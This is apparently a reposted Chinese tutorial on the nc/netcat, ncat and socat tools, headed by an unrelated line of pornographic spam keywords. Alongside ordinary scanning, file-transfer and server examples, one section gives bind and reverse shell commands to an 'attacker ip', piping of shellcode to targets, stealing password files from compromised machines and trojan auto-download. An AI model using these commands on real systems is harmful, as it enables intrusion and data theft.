国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

linux 命令:nc、netcat、ncat、socat

這篇具有很好參考價(jià)值的文章主要介紹了linux 命令:nc、netcat、ncat、socat。希望對(duì)大家有所幫助。如果存在錯(cuò)誤或未考慮完全的地方,請(qǐng)大家不吝賜教,您也可以點(diǎn)擊"舉報(bào)違法"按鈕提交疑問。

參考 :http://www.linuxso.com/command/nc.html

NC工具的使用說明教程:https://blog.csdn.net/xysoul/article/details/52270149

window 版本 nc 下載:https://eternallybored.org/misc/netcat/

1、nc、ncat?簡介

NC 全名 Netcat (網(wǎng)絡(luò)刀),作者是 Hobbit && ChrisWysopal。因其功能十分強(qiáng)大,體積小巧而出名,被譽(yù)為網(wǎng)絡(luò)安全界的 "瑞士軍刀"。Netcat 使用 TCP 或 UDP 協(xié)議的網(wǎng)絡(luò)連接去讀寫數(shù)據(jù)。Netcat 也是穩(wěn)定的后門工具、功能強(qiáng)大的網(wǎng)絡(luò)調(diào)試和探測(cè)工具。能夠直接由其它程序和腳本輕松驅(qū)動(dòng)。能夠建立幾乎所有類型的網(wǎng)絡(luò)連接。

在中國?NC 的 WINDOWS版有兩個(gè)版本,一個(gè)是原創(chuàng)者Chris Wysopal寫的原版本,另一個(gè)是由 "紅與黑" 編譯后的新濃縮版。濃縮版的主程序只有10多KB(10多KB的NC是不能完成下面第4、第5種使用方法 ),雖然 "體積"?小,但很完成很多工作。

  • ncnc 常用于溢出、反向鏈接、上傳文本等。其實(shí)是一個(gè)非標(biāo)準(zhǔn)的 telnet 客戶端程序。也是一個(gè) putty.exe 客戶端程序。
  • ncat?:是現(xiàn)代版的 netcat,是 nmap 項(xiàng)目的組成部分。
  • socat socat 是一個(gè) nc 的替代品,可以稱為 nc++是 netcat 的 N 倍 加強(qiáng)版。socat 支持的連接方式很多,有 ip、tcp、udp、ipv6、pipe、exec、system、open proxy、openssl 等

nc? ---?TCP/IP swiss army knife

linux 下執(zhí)行命令:readlink -f $(which nc)? 結(jié)果會(huì)有兩種:

  • /bin/nc.traditional:默認(rèn) GNU 基礎(chǔ)版本,一般系統(tǒng)自帶。
  • /bin/nc.openbsd:openbsd 版本,強(qiáng)大很多。

都可以用 apt-get install nc-traditional 或者 apt-get install nc-openbsd 來選擇安裝。不管是 gnu 版本還是 openbsd 版本,都有新老的區(qū)別,主要是傳送文件時(shí) stdin 發(fā)生 EOF 了,老版本會(huì)自動(dòng)斷開,而新的 gnu/openbsd 還會(huì)一直連著。

2、nc、ncat 命令

Netcat 最初的用途就是文件傳輸,它可以像 cat 命令一樣將讀取的文件重定向到網(wǎng)絡(luò)上的另外的文件。Netcat 在網(wǎng)絡(luò)應(yīng)用中既可以當(dāng)做服務(wù)器端,開啟本機(jī)一個(gè)監(jiān)聽端口,也可以作為客戶端向其他服務(wù)器端口發(fā)起連接。所以,文件傳輸,即是在兩端分別運(yùn)行Netcat。

2.1 nc、ncat?參數(shù)

主動(dòng)發(fā)起連接 的 使用方法:nc [-options] hostname port[s] [ports] ...?監(jiān)聽進(jìn)入的連接 的 使用方法:nc -l -p port [-options] [hostname] [port]

linux 下 nc 參數(shù)

type nc
nc -h

options:
? ? ? ? -c shell commands ? ? ? 同 -e 參數(shù),連接成功后使用/bin/sh執(zhí)行shell命令。[危險(xiǎn)??!]
? ? ? ? -e filename ? ? ? ? ? ? 連接成功后要執(zhí)行的程序或者命令 [危險(xiǎn)!!]
? ? ? ? -b ? ? ? ? ? ? ? ? ? ? ?允許廣播
? ? ? ? -g gateway ? ? ? ? ? ? ?source-routing hop point[s], up to 8
? ? ? ? -G num ? ? ? ? ? ? ? ? ?source-routing pointer: 4, 8, 12, ...
? ? ? ? -h ? ? ? ? ? ? ? ? ? ? ?幫助
? ? ? ? -i secs ? ? ? ? ? ? ? ? 為 "傳送信息、掃描端口" 設(shè)置時(shí)間間隔。
? ? ? ? -k ? ? ? ? ? ? ? ? ? ? ?設(shè)置 socket 的 keepalive 選項(xiàng)
? ? ? ? -l ? ? ? ? ? ? ? ? ? ? ?監(jiān)聽模式,監(jiān)聽進(jìn)入的連接。
? ? ? ? -n ? ? ? ? ? ? ? ? ? ? ?指定數(shù)字的IP地址,不能用 hostname
? ? ? ? -o file ? ? ? ? ? ? ? ? 把往來傳輸?shù)臄?shù)據(jù)以16進(jìn)制形式保存到文件。
? ? ? ? -p port ? ? ? ? ? ? ? ? 設(shè)置本地端口號(hào)
? ? ? ? -r ? ? ? ? ? ? ? ? ? ? ?隨機(jī)本地和遠(yuǎn)程端口
? ? ? ? -q secs ? ? ? ? ? ? ? ? 在標(biāo)準(zhǔn)輸入 EOF 后,延遲多少秒后并退出
? ? ? ? -s addr ? ? ? ? ? ? ? ? 設(shè)置 本地 IP 地址
? ? ? ? -T tos ? ? ? ? ? ? ? ? ?設(shè)置服務(wù)類型
? ? ? ? -t ? ? ? ? ? ? ? ? ? ? ?用 telnet 來回應(yīng)?
? ? ? ? -u ? ? ? ? ? ? ? ? ? ? ?UDP 模式
? ? ? ? -v 或者 -vv ? ? ? ? ? ? 顯示詳細(xì)
? ? ? ? -w secs ? ? ? ? ? ? ? ? 設(shè)置網(wǎng)絡(luò)連接超時(shí)時(shí)間
? ? ? ? -C ? ? ? ? ? ? ? ? ? ? ?發(fā)送 CRLF 作為行尾
? ? ? ? -z ? ? ? ? ? ? ? ? ? ? ?零 I/O 模式 [用于掃描],就是將輸入輸出關(guān)掉。
端口號(hào)可以是單個(gè)端口或者是范圍。例如 80,1-100
連字符出現(xiàn)在端口名稱中,必須用反斜杠轉(zhuǎn)義(例如 "ftp\-data")

windows 下 nc 參數(shù)

windows下nc?和 linux下nc 參數(shù)不太一樣

D:\Software\netcat_win> ./nc -h
[v1.12 NT http://eternallybored.org/misc/netcat/]
options:
? ? ? ? -d? ? ? ? ? ? ? ? 從 console 分離,即 后臺(tái)模式 。

? ? ? ? -e prog ? ? ? ? 程序重定向,一旦連接,就執(zhí)行 [危險(xiǎn)!!]?
? ? ? ? -g gateway ? ? ?source-routing hop point[s], up to 8
? ? ? ? -G num ? ? ? ? ?source-routing pointer: 4, 8, 12, ...
? ? ? ? -h ? ? ? ? ? ? 幫助信息?
? ? ? ? -i secs ? ? ? ? delay interval for lines sent, ports scanned
? ? ? ? -l? ? ? ? ? ? ? ?監(jiān)聽模式,用于入站連接?
? ? ? ? -L ? ? ? ? ? ? ?連接關(guān)閉后,仍然繼續(xù)監(jiān)聽?
? ? ? ? -n ? ? ? ? ? ? ?指定數(shù)字的IP地址,不能用hostname?
? ? ? ? -o file? ? ? ? ?流量以16進(jìn)制的形式保存到文件
? ? ? ? -p port ? ? ? ? 本地端口號(hào)
? ? ? ? -r? ? ? ? ? ? ? ? ?隨機(jī)本地及遠(yuǎn)程端口?
? ? ? ? -s addr ? ? ? ? 本地源地址?
? ? ? ? -t ? ? ? ? ? ? ?用 telnet 來回應(yīng)?
? ? ? ? -c? ? ? ? ? ? ? 發(fā)送 CRLF 代替 LF
? ? ? ? -u ? ? ? ? ? ? ?UDP 模式?
? ? ? ? -v ? ? ? ? ? ? ?詳細(xì)輸出,?-vv 可得到更詳細(xì)的內(nèi)容
? ? ? ? -w secs ? ? ? ? 連接和網(wǎng)絡(luò)讀取的超時(shí)時(shí)間
? ? ? ? -z? ? ? ? ? ? ??將輸入輸出關(guān)掉。用于掃描
端口號(hào)可以是 單個(gè)端口或者是范圍 m-n。例如 80,1-100
D:\Software\netcat_win>

linux 命令:nc、netcat、ncat、socat

2.2 基本用法

nc -nvv 192.168.x.x 80????//?連到 192.168.x.x 的 TCP 80 端口
nc -l -p 80 ? ? ? ? ? ? ? // 監(jiān)聽本機(jī)的TCP80端口
nc -nvv -w2 -z 192.168.x.x 80-445 ? ?// 掃描192.168.x.x 的 TCP 80 到 TCP 445 的所有端口

nc -l -p 9999 -e cmd.exe
nc 192.168.1.5 9999

或者

nc -l -p 9999 -t
nc -t -e cmd.exe 192.168.1.5

綁定 shell

命令:nc -l -p 5354 -t -e c:\windows\system32\cmd.exe

命令解釋:本地監(jiān)聽 5354 端口,當(dāng)有連接進(jìn)入時(shí),將?-e?指定的 c:\windows\system32\cmd.exe?( 就是個(gè)shell ) 主動(dòng)響應(yīng) 到 連接者。連接者 就可以進(jìn)入被連接者的 cmd。(?反彈 shell 原理 )

linux 命令:nc、netcat、ncat、socat

綁定 shell 并反向連接

命令:nc -t -e c:\windows\system32\cmd.exe 192.168.x.x 5354

命令解釋:連接到遠(yuǎn)程服務(wù)器的 5354 端口,連接成功后 將?-e c:\windows\system32\cmd.exe?響應(yīng)給遠(yuǎn)程服務(wù)器。這樣 遠(yuǎn)程服務(wù)器就進(jìn)入連接者的 cmd

linux 命令:nc、netcat、ncat、socat

NC 的用法還有很多,當(dāng)配合管道命令 |?與重定向命令 < >?等等命令功能更強(qiáng)大。

2.3 高級(jí)用法

作攻擊程序用,例子:

格式 1:type.exe c:exploit.txt | nc -nvv 192.168.x.x 80
格式 2:nc -nvv 192.168.x.x 80 < c:exploit.txt
講解:連接到192.168.x.x的80端口,并在其管道中發(fā)送 c:exploit.txt 的內(nèi)容。

兩種格式效果一樣。c:exploit.txt 為 shellcode 等

作蜜罐用 [1],例子:

格式:nc -L -p 80
講解:使用 -L( 注意 L 是大寫 ) 可以不停地監(jiān)聽某一個(gè)端口,直到 ctrl+c 為止。

作蜜罐用 [2],例子:

格式:nc -L -p 80 > c:\log.txt
講解:使用 -L 可以不停地監(jiān)聽某一個(gè)端口,直到 ctrl+c為 止,同時(shí)把結(jié)果輸出到 c:log.txt中,如果把 > 改為 >> 即可以追加日志。c:\log.txt 為日志等

作蜜罐用 [3],例子:

格式1:nc -L -p 80 < c:\honeypot.txt
格式2:type.exe c:honeypot.txt|nc -L -p 80
講解:使用 -L 可以不停地監(jiān)聽某一個(gè)端口,直到 ctrl+c為 止,同時(shí)把 c:honeypot.txt 的內(nèi)容送入其管道中。

記錄 log

nc -l -p 80 >>c:\日志.log? ? ?//凡是有針對(duì)本機(jī)80端口的攻擊都會(huì)被記錄下來的

端口掃描

// 注意:nc 掃描會(huì)留下大量的痕跡。

格式:nc -vv -z?ip port-port port??? ?// 示例:nc -v -w 2 www.baidu.com -z 100-105 80
nc -v -z 192.168.0.25 1-100 ? ? ? // 端口掃描,掃描 tcp 端口 1-100
nc -v -z -u 192.168.0.25 1-100 ? ?// 端口掃描,掃描 udp 端口 1-100
nc -vv 192.168.0.25 80 ? ? ? ? ? ?// 端口掃描,掃描 tcp 端口 80

nc -v -z www.baidu.com 70-80 ? ? ?# 掃描端口(70到80)
nc -v -z -w 2 192.168.2.34 21-24 ? ? ? ?
nc -v -z -w2 127.0.0.1 1-100 ? ? ?# -w2 設(shè)置超時(shí)時(shí)間
nc -l -p 1234? ? ? ? ? ? ? ? # 監(jiān)聽本地端口
netstat -a | grep 1234
netstat -tunlp
nc -vuz ?172.16.211.34 68
nc -p 1234 -w 5 www.test.com 80? //?建立從本地1234端口到 www.test.com 的80端口連接,5秒超時(shí)
nc -u host.example.com 53? ? // u 為 UDP 連接

端口轉(zhuǎn)發(fā)(PortForwarding)

端口轉(zhuǎn)發(fā) 也是 Netcat 比較實(shí)用的用法。
先將Netcat作為服務(wù)器接收其他主機(jī)的連接,然后將連接的數(shù)據(jù)轉(zhuǎn)發(fā)另外的目標(biāo)機(jī)端口。
比如:
mkfifo backpipe
nc -l 12345 ?0<backpipe | nc www.google.com 801>backpipe
這里開啟端口12345,作為www.google.com的代理。
其他無法直接登陸google的用戶可以通過此代理端口來與google進(jìn)行交互。
創(chuàng)建了一個(gè)fifo,是為實(shí)現(xiàn)雙向數(shù)據(jù)通訊,因?yàn)楣艿肋\(yùn)算符本身是單向的。

后門

受害者的機(jī)器執(zhí)行命令:
? ? ? ? nc -l -p port -e cmd.exe ?// win2000?
? ? ? ? nc -l -p port -e /bin/sh ?// unix,linux?
攻擊者的機(jī)器執(zhí)行命令:
? ? ? ? nc ip -p port ? ? ? ? ? ? // 連接 受害者機(jī)器IP,然后得到一個(gè)shell。

正向連接

【遠(yuǎn)程運(yùn)行】nc -l -p 2012 -t -e cmd.exe
【本地運(yùn)行】nc -nvv 192.168.1.101 2012

  • 遠(yuǎn)程主機(jī)(注:假設(shè)IP地址為 192.168.1.101)上運(yùn)行 nc -l -p 2012 -t -e cmd.exe 意為綁定遠(yuǎn)程主機(jī)的 CMD 到 2012 端口,當(dāng)本地主機(jī)連接遠(yuǎn)程主機(jī)成功時(shí)就會(huì)返回給本地主機(jī)一個(gè)CMD Shell ;
  • 在本地主機(jī)上運(yùn)行 nc -nvv 192.168.1.101 2012 用于連接已經(jīng)將 CMD 重定向到 2012 端口的遠(yuǎn)程主機(jī)(注:假設(shè)IP地址為 192.168.1.101)。

反向連接?

【本地運(yùn)行】nc -l -p 2012
【遠(yuǎn)程運(yùn)行】nc -t -e cmd.exe 192.168.1.102 2012

  • 先在本地主機(jī)運(yùn)行 nc -l -p 2012 開啟本地主機(jī)的(注:假設(shè)IP地址為 192.168.1.102)2012 端口并監(jiān)聽等待遠(yuǎn)程主機(jī)連接;
  • 再在遠(yuǎn)程主機(jī)上運(yùn)行 nc -t -e cmd.exe 192.168.1.102 2012 將遠(yuǎn)程主機(jī)的 CMD 重定向到 IP 地址為 192.168.1.102 端口號(hào)為 2012 的主機(jī)上,連接成功后 IP 地址為 192.168.1.102 的主機(jī)會(huì)得到一個(gè)CMD Shell。

什么叫反彈端口?
就是說,當(dāng)對(duì)方中馬后,不用你主動(dòng)和對(duì)方連接,也就是說不用從你的client端向?qū)Ψ街鳈C(jī)上運(yùn)行的server端發(fā)送請(qǐng)求連接,
而是對(duì)方主動(dòng)來連接你這樣就可以使很多防火墻失效,因?yàn)楹芏喾阑饓Χ疾粰z查出站請(qǐng)求的。
這里這兩個(gè)命令結(jié)合在一起后,于那兩款木馬可以說有異曲同工之效。

本地運(yùn)行:nc -l -p 5277 (監(jiān)聽本地5277端口)或者 nc -l -v -p 5277
然后在遠(yuǎn)程機(jī)器上,想辦法運(yùn)行 nc -e cmd.exe ip 5277
(你可別真的打“ip”在肉雞上啊)要打,xxx.xxx.xxx.xxx這樣??!
這樣就是反彈~~在本地機(jī)器上得到了一個(gè)SHELL

示例:

attacker machine: ? ? ?//一般是sql2.exe,遠(yuǎn)程溢出,webdavx3.exe攻擊.?
//或者wollf的反向連接.?
nc -vv -l -p port?
victim machine:?
nc -e cmd.exe attacker ip -p port?
nc -e /bin/sh attacker ip -p port
或者:
attacker machine:?
nc -vv -l -p port1 ?
nc -vv -l -p prot2 ?
victim machine:?
nc attacker_ip port1 | cmd.exe | nc attacker_ip port2?
nc attacker_ip port1 | /bin/sh | nc attacker_ip port2
139要加參數(shù)-s(nc.exe -L -p 139 -d -e cmd.exe -s 對(duì)方機(jī)器IP),這樣就可以保證 nc.exe 優(yōu)先于NETBIOS。

端口數(shù)據(jù)抓包

就是使用?-o 參數(shù),把數(shù)據(jù)以 16進(jìn)制 的形式寫到文件里面

示例:nc -vv -w 2 -o ./packet.txt www.baidu.com 80 21-15

遠(yuǎn)程 拷貝 文件

從 server1 拷貝文件到 server2 上

先在 server2 上,用 nc 激活監(jiān)聽,server2上運(yùn)行:
[root@hatest2 tmp]# nc -lp 1234 > install.log

然后,再在 server1 上運(yùn)行:
[root@hatest1 ~]# nc -w 1 192.168.228.222 1234 < install.log

傳送文件:
attacker machine <-- victim machine ? ? ?// 從肉雞拖密碼文件回來.?
nc -d -l -p port < path\filedest    ? // 可以shell執(zhí)行?
nc -vv attacker_ip port > path\file.txt ?// 需要Ctrl+C退出?

//肉雞需要gui界面的cmd.exe里面執(zhí)行(終端登陸,不如安裝FTP方便).
//否則沒有辦法輸入Crl+C.
attacker machine --> victim machine ? ? ?// 上傳命令文件到肉雞?
nc -vv -l -p port > path\file.txt   ? // 需要Ctrl+C退出?
nc -d victim_ip port < path\filedest  ? // 可以shell執(zhí)行?

示例:

【本地運(yùn)行】nc -v -n ip port < C:/sunzn.exe
【遠(yuǎn)程運(yùn)行】nc -v -l -p port > D:/sunzn.exe

  • 在本地運(yùn)行 nc -v -n ip port < C:/sunzn.exe 意為從本地 C 盤根目錄中讀取 sunzn.exe 文件的內(nèi)容,并把這些數(shù)據(jù)發(fā)送到遠(yuǎn)程主機(jī)的對(duì)應(yīng)端口上(注:命令行中的 IP 為接收文件的遠(yuǎn)程主機(jī) IP ),
  • 在遠(yuǎn)程主機(jī)運(yùn)行 nc -v -l -p port > D:/sunzn.exe 意為監(jiān)聽對(duì)應(yīng)端口并把接收到的信息數(shù)據(jù)寫到 D:/sunzn.exe 中,兩行命令實(shí)現(xiàn)了文件在本地主機(jī)和遠(yuǎn)程主機(jī)間的傳輸。

ftp 自動(dòng)下載

【本地運(yùn)行】nc -L -p 8989 < C:\ftp.txt ( ftp.txt 中為FTP自動(dòng)下載命令)
不停地監(jiān)聽 8989 端口,并把 C:\ftp.txt ?中的內(nèi)容發(fā)給任何一臺(tái)連接本機(jī) 8989 端口的主機(jī),可起到傳送文件作用( 此用法經(jīng)常用于反向溢出 )。遠(yuǎn)程主機(jī)一旦溢出就會(huì)連接本地主機(jī) 8989 端口,遠(yuǎn)程主機(jī)就會(huì)自動(dòng)用 FTP 下載指定的文件,如木馬。

遠(yuǎn)程 拷貝 目錄

從 server1 拷貝 nginx-0.6.34目錄內(nèi)容到 server2 上。

方法 1:

? ? ? ? 先在server2上,用nc激活監(jiān)聽,server2上運(yùn)行:
? ? ? ? [root@hatest2 tmp]# nc -l 1234 | tar xzvf -? ? ? ??
? ? ? ? server1上運(yùn)行:
? ? ? ? [root@hatest1 ~]# tar -zcvf - nginx-0.6.34 | nc 192.168.228.222 1234

方法 2:
? ? ? ? 從192.168.2.33拷貝文件到192.168.2.34
? ? ? ? 在192.168.2.34上: nc -l 1234 > test.txt
? ? ? ? 在192.168.2.33上: nc 192.168.2.34 < test.txt

克隆硬盤或分區(qū)

操作與上面的拷貝是雷同的,只需要由dd獲得硬盤或分區(qū)的數(shù)據(jù),然后傳輸即可??寺∮脖P或分區(qū)的操作,不應(yīng)在已經(jīng) mount 的的系統(tǒng)上進(jìn)行。所以,需要使用安裝光盤引導(dǎo)后,進(jìn)入拯救模式(或使用Knoppix工具光盤)啟動(dòng)系統(tǒng)后,

server2上進(jìn)行類似的監(jiān)聽動(dòng)作:
# nc -l -p 1234 | dd of=/dev/sda
server1上執(zhí)行傳輸,即可完成從server1克隆sda硬盤到server2的任務(wù):
# dd if=/dev/sda | nc 192.168.228.222 1234

簡單聊天工具

在192.168.2.34上: nc -l 1234
在192.168.2.33上: nc 192.168.2.34 1234
這樣,雙方就可以相互交流了。使用ctrl+C(或D)退出。

nc -l 1234
nc 127.0.0.1 1234
在端口1234建立連接,互相發(fā)送輸入

保存 Web 頁面

# while true; do nc -l -p 80 -q 1 < somepage.html; done

模擬 HTTP 請(qǐng)求

nc www.baidu.com 80 ?// 作為瀏覽器,模擬請(qǐng)求
nc -l -v -p 80 ? ? ? // 瀏覽器中輸入本機(jī)IP:127.0.0.1

例如:

用 nc 命令操作 memcached

1)存儲(chǔ)數(shù)據(jù):printf "set key 0 10 6rnresultrn" |nc 192.168.2.34 11211
2)獲取數(shù)據(jù):printf "get keyrn" |nc 192.168.2.34 11211
3)刪除數(shù)據(jù):printf "delete keyrn" |nc 192.168.2.34 11211
4)查看狀態(tài):printf "statsrn" |nc 192.168.2.34 11211
5)模擬top命令查看狀態(tài):watch "echo stats" |nc 192.168.2.34 11211
6)清空緩存:printf "flush_allrn" |nc 192.168.2.34 11211 (小心操作,清空了緩存就沒了)

Netcat 其他常用的功能:

支持完全的DNS轉(zhuǎn)發(fā)、逆向檢查
支持用戶指定源端口
支持用戶指定源端IP地址
內(nèi)置寬松源路由能力(loosesource-routing capability)
慢速發(fā)送模式,可指定每隔多少秒發(fā)送一行文本
將發(fā)送或接收數(shù)據(jù)以16進(jìn)制格式導(dǎo)出

3、ncat 命令

Ncat 是 nmap 項(xiàng)目對(duì)傳統(tǒng)的 Netcat(即 nc 命令)的重寫,是包含在 nmap 安裝包里的。

3.1 ncat 的 參數(shù)

ncat -h
Ncat 7.92 (https://nmap.org/ncat)
用法:ncat [選項(xiàng)] [主機(jī)名] [端口]

花費(fèi)時(shí)間的選項(xiàng)假定為幾秒鐘。附加“ms”毫秒,
's' 代表秒,'m' 代表分鐘,或 'h' 代表小時(shí)(例如 500 毫秒)。
? -4 ? ? ? ? ? ? ? ? ? ? ? ? 僅使用 IPv4
? -6 ? ? ? ? ? ? ? ? ? ? ? ? 僅使用 IPv6
? -U, --unixsock ? ? ? ? ? ? 僅使用 Unix 域套接字
? ? ? --vsock ? ? ? ? ? ? ? ?僅使用 vsock 套接字
? -C, --crlf ? ? ? ? ? ? ? ? 對(duì) EOL 序列使用 CRLF
? -c, --sh-exec <command> ? ?通過 /bin/sh 執(zhí)行給定的命令
? -e, --exec <command> ? ? ? 執(zhí)行給定的命令
? ? ? --lua-exec <filename> ?執(zhí)行給定的 Lua 腳本
? -g hop1[,hop2,...] ? ? ? ? 松散源路由跳點(diǎn)(最多 8 個(gè))
? -G <n> ? ? ? ? ? ? ? ? ? ? 松散源路由跳點(diǎn)指針 (4, 8, 12, ...)
? -m, --max-conns <n> ? ? ? ?最大 <n> 個(gè)同時(shí)連接數(shù)
? -h, --help ? ? ? ? ? ? ? ? 顯示屏幕
? -d, --delay <時(shí)間> ? ? ? ? 讀/寫 等待時(shí)間
? -o, --output <filename> ? ?轉(zhuǎn)儲(chǔ)會(huì)話數(shù)據(jù)到文件
? -x, --hex-dump <filename> ?會(huì)話數(shù)據(jù)以16進(jìn)制形式轉(zhuǎn)儲(chǔ)到文件
? -i, --idle-timeout <time> ?空閑 讀/寫 超時(shí)
? -p, --source-port port ? ? 指定要使用的源端口
? -s, --source addr ? ? ? ? ?指定要使用的源地址(不影響-l)
? -l, --listen ? ? ? ? ? ? ? 綁定并監(jiān)聽傳入的連接
? -k, --keep-open ? ? ? ? ? ?在監(jiān)聽模式下接受多個(gè)連接
? -n, --nodns ? ? ? ? ? ? ? ?不通過 DNS 解析主機(jī)名
? -t, --telnet ? ? ? ? ? ? ? 通過 Telnet 回答協(xié)商
? -u, --udp ? ? ? ? ? ? ? ? ?使用 UDP 而不是默認(rèn)的 TCP
? ? ? --sctp ? ? ? ? ? ? ? ? 使用 SCTP 代替默認(rèn) TCP
? -v, --verbose ? ? ? ? ? ? ?設(shè)置詳細(xì)程度(可多次使用)
? -w, --wait <時(shí)間> ? ? ? ? ?連接超時(shí)
? -z ? ? ? ? ? ? ? ? ? ? ? ? 零 I/O 模式,僅報(bào)告連接狀態(tài)
? ? ? --append-output ? ?追加到輸出文件
? ? ? --send-only ? ? ? ?只發(fā)送數(shù)據(jù),忽略接收;在 EOF 上退出
? ? ? --recv-only ? ? ? ?只接收數(shù)據(jù),不發(fā)送任何東西
? ? ? --no-shutdown ? ? ?在標(biāo)準(zhǔn)輸入上接收 EOF 時(shí)繼續(xù)半雙工
? ? ? --allow ? ? ? ? ? ?只允許給定的主機(jī)連接到 Ncat
? ? ? --allowfile ? ? ? ?允許連接到 Ncat 的主機(jī)文件
? ? ? --deny ? ? ? ? ? ? 拒絕給定主機(jī)連接到 Ncat
? ? ? --denyfile ? ? ? ? 拒絕連接到 Ncat 的主機(jī)文件
? ? ? --broker ? ? ? ? ? 啟用 Ncat 的連接代理模式
? ? ? --chat ? ? ? ? ? ? 啟動(dòng)一個(gè)簡單的 Ncat 聊天服務(wù)器
? ? ? --proxy <addr[:port]> ?指定要代理的主機(jī)地址
? ? ? --proxy-type <type> ? ?指定代理類型(“http”、“socks4”、“socks5”)
? ? ? --proxy-auth <auth> ? ?使用 HTTP 或 SOCKS 代理服務(wù)器進(jìn)行身份驗(yàn)證
? ? ? --proxy-dns <type> ? ? 指定解析代理目的地的位置
? ? ? --ssl ? ? ? ? ? ? ? ? ?使用 SSL 連接或監(jiān)聽
? ? ? --ssl-cert ? ? ? ? ? ? 指定用于監(jiān)聽的 SSL 證書文件 (PEM)
? ? ? --ssl-key ? ? ? ? ? ? ?指定用于監(jiān)聽的 SSL 私鑰 (PEM)
? ? ? --ssl-verify ? ? ? ? ? 驗(yàn)證證書的信任和域名
? ? ? --ssl-trustfile ? ? ? ?包含可信 SSL 證書的 PEM 文件
? ? ? --ssl-ciphers ? ? ? ? ?包含要使用的 SSL 密碼的密碼列表
? ? ? --ssl-servername ? ? ? 請(qǐng)求不同的服務(wù)器名稱 (SNI)
? ? ? --ssl-alpn ? ? ? ? ? ? 使用的 ALPN 協(xié)議列表
? ? ? --version ? ? ? ? ? ? ?顯示Ncat的版本信息并退出

有關(guān)完整的選項(xiàng)、描述和使用示例,請(qǐng)參見 ncat(1) 聯(lián)機(jī)幫助頁

3.2 ncat 的 使用

Ncat 作為瀏覽器

命令示例:ncat -C scanme.nmap.org 80

該命令是以?交互的方式?執(zhí)行的。即輸入?ncat -C scanme.nmap.org 80?和?回車?后,接著繼續(xù)輸入?GET / HTTP/1.0?,再敲擊兩次?回車?。即可獲取目標(biāo)網(wǎng)站的 HTML 文檔內(nèi)容。

監(jiān)聽模式( 模擬 web 服務(wù)器 )

使用 ncat 運(yùn)行帶有靜態(tài)頁面的 Web 服務(wù)器。vim /root/sample.html

<html>
        <head>
                <title>Test Page</title>
        </head>
        <body>
                <h1>Level 1 header</h1>
                <h2>Subheading</h2>
                <p>Normal text here</p>
        </body>
</html>

執(zhí)行命令:[root@qdzabbix ~]# while true; do nc -l -p 8080 < /root/sample.html ; done

最后瀏覽器訪問 http://127.0.0.1:8080/sample.html

執(zhí)行命令(遠(yuǎn)程 shell)

?命令示例:ncat -l 8080 --exec "/bin/echo Hello."

linux 命令:nc、netcat、ncat、socat

可以開啟一個(gè)遠(yuǎn)程 shell 供其他設(shè)備連接。命令:ncat -l 8022 --exec "/bin/bash -i"

linux 命令:nc、netcat、ncat、socat

通過 nc 進(jìn)行端口轉(zhuǎn)發(fā)。

命令:ncat -u -l ?80 -c ?'ncat -u -l 8080'

訪問控制

只允許指定客戶端連接:ncat -l --allow 10.2.67.204
只拒絕指定客戶端連接:ncat -l --deny 10.2.67.204
只允許指定網(wǎng)段的本地 IP:

  • ncat -l --allow 10.2.67.0/24
  • ncat -l --allow 10.2.67.0-255

從文件中獲取允許訪問的地址列表:ncat -l --allowfile trusted_hosts.txt
設(shè)置最大連接數(shù)為5:ncat -l --max-conns 5

文件傳輸

接收者監(jiān)聽:
? ? ? ? receiver$ ncat -l > outputfile
? ? ? ? sender$ ncat --send-only receiver_ip < inputfile
發(fā)送者監(jiān)聽:
? ? ? ? sender$ ncat -l --send-only < inputfile
? ? ? ? receiver$ ncat sender_ip > outputfile

傳輸目錄

接收者:ncat -l | tar xzvf -
發(fā)送者:tar czvf - dirname | ncat --send-only receiver_ip

傳輸磁盤鏡像(壓縮)

接收者:ncat -l | bzip2 -d > sender-hda.image
發(fā)送者:cat /dev/hda | bzip2 | ncat --send-only receiver_ip

聊天

雙人聊天
? ? ? ? host1$ ncat -l
? ? ? ? host2$ ncat host1
多人聊天
? ? ? ? server$ ncat -l --chat
? ? ? ? clients$ ncat server_ip

簡易 web 服務(wù)器

Linux 用戶:ncat -lk -p 8080 --sh-exec "echo -e 'HTTP/1.1 200 OK\r\n'; cat index.html"
Windows 用戶:ncat -lk -p 8080 --sh-exec "echo HTTP/1.1 200 OK& echo(&type index.html"

流媒體視頻

服務(wù)端:cat video.avi | ncat -l
客戶端:ncat server_ip | mplayer -vo x11 -cache 3000 -

4、socat 命令

Socat 官方網(wǎng)站:http://www.dest-unreach.org/socat/

From:https://zhuanlan.zhihu.com/p/347722248

socat 基本語法:socat [options] <address> <address>

socat 主要作用 就是把兩個(gè)地址的數(shù)據(jù)流串起來,把左邊地址的輸出數(shù)據(jù)傳給右邊,同時(shí)又把右邊地址的輸出數(shù)據(jù)傳到左邊。所以 socat 需要兩個(gè)地址,其中這 2 個(gè) address 是關(guān)鍵,address 類似于一個(gè)文件描述符,Socat 所做的工作就是在 2 個(gè) address 指定的描述符間建立一個(gè) pipe 用于發(fā)送和接收數(shù)據(jù)。這 2 個(gè) address 可以任意發(fā)揮,能夠做到的事情還有很多。

使用 socat 需要提供兩個(gè)地址,常用的 address 描述方式如下:

  • -,STDIN,STDOUT? :表示 標(biāo)準(zhǔn)輸入、標(biāo)準(zhǔn)輸出,可以只用減號(hào) - 代替
  • /var/log/syslog :打開一個(gè)文件作為數(shù)據(jù)流,可以是任意路徑。
  • TCP:: 建立一個(gè) TCP 連接作為數(shù)據(jù)流,TCP 也可以替換為 UDP 。
  • TCP-LISTEN:建立 一個(gè) TCP 監(jiān)聽端口,TCP 也可以替換為 UDP。
  • EXEC:執(zhí)行一個(gè)程序作為數(shù)據(jù)流。

socat 還支持:TCP, TCP-LISTEN, UDP, UDP-LISTEN, OPEN, EXEC, SOCKS, PROXY 等多種地址,用于端口監(jiān)聽、鏈接,文件和進(jìn)程讀寫,代理橋接等等。所以使用 socat 其實(shí)就是學(xué)習(xí)各類地址的定義及搭配方法。以上規(guī)則中前面的 TCP 等都可以小寫,在這些描述后可以附加一些選項(xiàng),用逗號(hào)隔開。如 fork,reuseaddr,stdin,stdout,ctty 等。

最簡單示例:命令:socat - -

說明:兩個(gè)地址都是減號(hào) "-",就是把 "標(biāo)準(zhǔn)輸入輸出" 和 "標(biāo)準(zhǔn)輸入輸出" 對(duì)接,輸入什么就會(huì)顯示什么。即在鍵盤上敲什么,屏幕上就顯示什么,類似無參數(shù)的 cat 命令。

socat 的參數(shù)

參考:www.dest-unreach.org
用法:
socat [選項(xiàng)] <雙向地址> <雙向地址>
